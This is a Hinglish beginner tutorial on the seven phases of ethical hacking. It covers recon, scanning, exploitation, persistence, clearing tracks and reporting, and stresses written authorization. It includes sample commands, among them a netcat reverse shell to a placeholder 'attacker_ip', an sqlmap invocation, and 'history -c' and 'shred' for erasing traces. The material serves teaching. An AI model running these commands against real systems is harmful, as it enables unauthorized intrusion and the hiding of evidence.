

Day 5 – Phases of Ethical Hacking

Aaj hum **Ethical Hacking** ke 7 phases ko deep level par samjhenge 🔥

- ✓ Har phase ka purpose
- ✓ Kaise kaam karta hai (step-by-step)
- ✓ Kaunse tools use hote hain
- ✓ Real-world logic
- ✓ Interview + practical understanding

Ye notes beginner se professional level tak useful rahenge 💻🚀

Sabse Important Rule

! **Written Permission** ke bina ethical hacking illegal hai.
Chahe intention achha ho — bina authorization ke system test karna crime hai.

Ethical Hacking Kya Hota Hai?

Ethical hacking = **Authorized penetration testing**

Goal:

- System ki weakness find karna
 - Real attacker se pehle vulnerability fix karna
-

7 Phases Overview

- 1 Planning & Preparation
 - 2 Reconnaissance
 - 3 Scanning
 - 4 Gaining Access
 - 5 Maintaining Access
 - 6 Clearing Tracks
 - 7 Reporting
-

Phase 1 – Planning & Preparation

Basic Concept

Yaha hacker kuch hack nahi karta.

Yaha decide hota hai:

- ✓ Kya test karna hai
- ✓ Kitni depth tak test karna hai
- ✓ Kaunse tools use honge
- ✓ Legal permission

Step-by-Step

1. Scope define hota hai (IP range / domain)
2. NDA sign hota hai
3. Rules of engagement set hote hain
4. Timeline decide hoti hai
5. Testing type choose hota hai

Testing Types

Black Box

No information given.

White Box

Full internal access.

Grey Box

Limited information.

Real Example

Company bolti hai:

"Sirf website test karo, internal network nahi."

Agar ethical hacker scope cross kare → illegal.

2 Phase 2 – Reconnaissance (Information Gathering)

Sabse important phase.

"More information = Easier attack"

Types of Recon

Passive Recon

Target ko directly interact nahi karte.

Active Recon

Target system se direct interaction hoti hai.

Passive Recon Tools

1 WHOIS Lookup

 Domain owner details nikalta hai.

Example:

```
whois example.com
```

Find:

- Registration date
- Owner info
- Nameserver

2 Google Dorking

Advanced search operators use karna.

Example:

```
site:example.com filetype:pdf
```

Find:

- Public documents
- Exposed files
- Login pages

3 Shodan

Internet connected devices search engine.

Example search:

```
apache server country:India
```

Find:

- Open cameras
- Servers
- IoT devices

Active Recon Tool

Nmap

Network scanning tool.

Example:

```
nmap -sV 192.168.1.1
```

Find:

- Open ports
- Running services
- Version detection

Phase 3 – Scanning (Vulnerability Assessment)

Recon me info mili.

Ab weakness scan karte hain.

3 Types of Scanning

-  Port Scanning
-  Vulnerability Scanning
-  Web Application Scanning

Port Scanning

Nmap

```
nmap -p 1-1000 target.com
```

Detect:

- Open ports
- Services
- OS detection

Vulnerability Scanning

Nessus

Automated vulnerability scanner.

Detect:

- Outdated software
- Misconfiguration
- Known CVEs

◆ OpenVAS

Open source scanner.

Internal network testing me useful.

3 Web App Scanning

◆ OWASP ZAP

Detect:

- XSS
 - SQL Injection
 - Broken authentication
-

4 Phase 4 – Gaining Access 🖥️ (Exploitation)

Ab actual hacking start hoti hai.

Goal:

Vulnerability ko exploit karke system access lena.

🔥 Exploitation Tools

1 Metasploit

Powerful exploitation framework.

Use:

- Exploit modules
 - Payloads
 - Reverse shell
-

2 SQLMap

Automated SQL injection tool.

Example:

```
sqlmap -u "http://site.com/page?id=1"
```

Database access mil sakta hai.

Gophish

Phishing simulation tool.

Use:

- Fake email campaign
- Employee awareness testing

Real Example

Agar server me outdated Apache version hai
Metasploit exploit use karke remote shell mil sakta hai.

Phase 5 – Maintaining Access (Post Exploitation)

Real attackers system me long-term stay karna chahte hain.

Ethical hacker check karta hai:

“Kya attacker persistent access maintain kar sakta hai?”

Methods

Netcat

Reverse shell create kar sakta hai.

Attacker:

```
nc -lvp 4444
```

Victim:

```
nc attacker_ip 4444 -e /bin/bash
```

Meterpreter

Metasploit

Advanced payload from Metasploit.

Features:

- File access
- Webcam access
- Privilege escalation
- Persistence

Why Important?

Agar attacker ek baar ghus gaya
aur persistent backdoor bana liya
to cleanup difficult ho jata hai.

Phase 6 – Clearing Tracks

Real attackers logs delete karte hain.

Ethical hacker test karta hai:

“Detection system kitna strong hai?”

Techniques

Bash History Clear

```
history -c
```

Command history delete.

Shred

```
shred -u secret.txt
```

File permanently delete.

Note

Modern SIEM systems me logs central server par store hote hain.
Isliye sirf local delete karna enough nahi hota.

7 Phase 7 – Documentation & Reporting

Sabse important phase.

Agar report achhi nahi → poor test useless.

Report me kya hota hai?

- ✓ Executive summary
- ✓ Technical findings
- ✓ Risk rating (Low / Medium / High / Critical)
- ✓ Proof of Concept
- ✓ Screenshots
- ✓ Remediation steps

Example Report Entry

Vulnerability: SQL Injection

Risk: High

Impact: Database dump possible

Fix: Use prepared statements

CIA Triad Connection

Ethical hacking always test karta hai:

CIA Component	Kaise Impact Hota Hai
Confidentiality	Data leak
Integrity	Data modify
Availability	Server crash

Hacker Types

Type	Description
White Hat	Authorized
Grey Hat	Without permission but no bad intent
Black Hat	Criminal

Common Attacks Tested During Ethical Hacking

- ✓ Phishing
 - ✓ MITM
 - ✓ Ransomware simulation
 - ✓ SQL Injection
 - ✓ DoS
 - ✓ Brute Force
-

Interview Questions

- ✓ Ethical hacking ke 7 phases ka order?
 - ✓ Recon vs Scanning difference?
 - ✓ Nessus vs Nmap difference?
 - ✓ Post exploitation kya hota hai?
 - ✓ Report me kya include karte hain?
-

Complete Flow Samjho

Recon → Scan → Exploit → Persist → Cover → Report

Agar report nahi banayi
to ethical hacking incomplete hai.

Final Security Logic

Strong Security =

Awareness

+

Patching

+

Monitoring

+

Access Control

+

Regular Testing

Real World Reality

Most attacks successful hote hain because:

1. Weak passwords
 2. Outdated software
 3. No monitoring
 4. Human error
-



Final Thought

Ethical hacker ka kaam system todna nahi
system ko strong banana hai.

Agar organization regular penetration testing kare
to 80–90% attacks prevent kiye ja sakte hain.